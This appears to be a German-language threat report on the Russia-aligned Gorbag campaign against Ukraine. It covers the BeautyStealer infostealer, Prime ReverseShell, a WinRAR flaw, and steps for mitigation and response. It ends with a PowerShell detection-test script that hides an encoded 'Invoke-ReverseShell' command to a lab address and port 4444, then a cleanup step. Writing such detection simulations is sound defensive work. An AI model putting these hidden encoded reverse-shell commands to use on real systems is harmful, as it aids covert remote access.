Gorbag-Malware-Kampagne erntet Informationen aus der Ukraine

Zusammenfassung

Gorbag ist ein Russland-ausgerichteter Bedrohungsakteur, der auf ukrainische Organisationen abzielt, um sensible Informationen zu sammeln. Die Gruppe verwendet ein spezialisiertes Toolkit, das den BeautyStealer-Infostealer und Prime ReverseShell beinhaltet, um Browser-Anmeldedaten, VPN-Konfigurationen und Dokumente auszuspähen. Ihre Operationen betonen die schnelle Informationsbeschaffung über langfristige Persistenz, was auf eine mögliche Rolle als Broker für anfänglichen Zugriff hindeutet.

Untersuchung

ESET-Forscher verfolgen Gorbag-Aktivitäten seit Februar 2025 und beobachteten 2026 eine Verschiebung zur Ausnutzung einer WinRAR-Pfad-Traversal-Schwachstelle. Die Untersuchung identifizierte mehrere BeautyStealer-Varianten und analysierte die Exfiltration über Telegram und benutzerdefinierte C2-Infrastruktur. Forscher enthüllten auch eine modifizierte PowerShell-Reverse-Shell, um KI-basierte Sicherheitswerkzeuge zu täuschen.

Minderung

Organisationen sollten WinRAR aktualisieren, um CVE-2025-8088 zu adressieren, und die E-Mail-Filterung verstärken, um Spearphishing-Versuche zu blockieren. Die Einschränkung der Makroausführung über Gruppenrichtlinien kann helfen, die Initiale Infektionsstufe zu verhindern. Sicherheitsteams sollten auch ungewöhnliche PowerShell-Aktivitäten und unautorisierte Datenexfiltration zu Diensten wie Telegram überwachen.

Reaktion

Wenn bösartige Aktivitäten erkannt werden, isolieren Sie kompromittierte Hosts, um weitere Datenexfiltration und Anmeldeinformationsdiebstahl zu stoppen. Führen Sie eine forensische Analyse des %ProgramData% Verzeichnisses und des Windows-Startordners auf verdächtige LNK-Dateien oder Nutzlasten durch. Setzen Sie alle potenziell exponierten Anmeldeinformationen zurück, einschließlich im Browser gespeicherter Passwörter und VPN-Konfigurationen, in der betroffenen Umgebung.

Simulationsausführung

• Angriffserzählung & Befehle: Ein Angreifer hat über einen Spearphishing-Anhang anfänglichen Zugriff erlangt. Um Persistenz und einen Kommando- und Kontrollkanal (C2) zu etablieren, versuchen sie, das „Prime ReverseShell“ zu implementieren. Sie verwenden PowerShell mit dem -Enc (EncodedCommand)-Flag, um die Struktur der Nutzlast vor einer einfachen Inspektion zu verbergen, und fügen die Zeichenfolge Invoke-ReverseShell in die dekodierte Logik ein, um die Kompatibilität mit bestehenden Toolkit-Signaturen aufrechtzuerhalten. Gleichzeitig simulieren sie „BeautyStealer“-Aktivität, indem sie ein Skript mit diesem spezifischen Bezeichner aufrufen, um Browserdaten zu exfiltrieren.

• Regressionstest-Skript:

  # Simulationsskript: Gorbag APT-Muster-Trigger
  # Dieses Skript führt zwei separate Befehle aus, um die spezifischen Erkennungsstrings auszulösen.
  
  Write-Host "[+] Simulation starten: Auslösen der Prime ReverseShell/BeautyStealer-Logik..." -ForegroundColor Cyan
  
  # 1. Auslösen über -Enc und Invoke-ReverseShell (Simulation von Prime ReverseShell)
  # Wir verwenden einen Base64-codierten Befehl, der beim Dekodieren 'Invoke-ReverseShell' enthält
  $Command = 'Write-Host "Verbinden..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Codierten Befehl ausführen..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Auslösen über das 'BeautyStealer'-Schlüsselwort (Simulation von BeautyStealer-Aktivität)
  Write-Host "[+] Auslösen des BeautyStealer-Schlüsselwortes..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'BeautyStealer-Modul wird ausgeführt...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Simulationsbefehle gesendet." -ForegroundColor Green

• Aufräumkommandos:

  # Aufräumen: Es wurden keine dauerhaften Dateien erstellt, aber wir stellen sicher, dass keine verweisten Prozesse verbleiben.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Aufräumen abgeschlossen." -ForegroundColor Cyan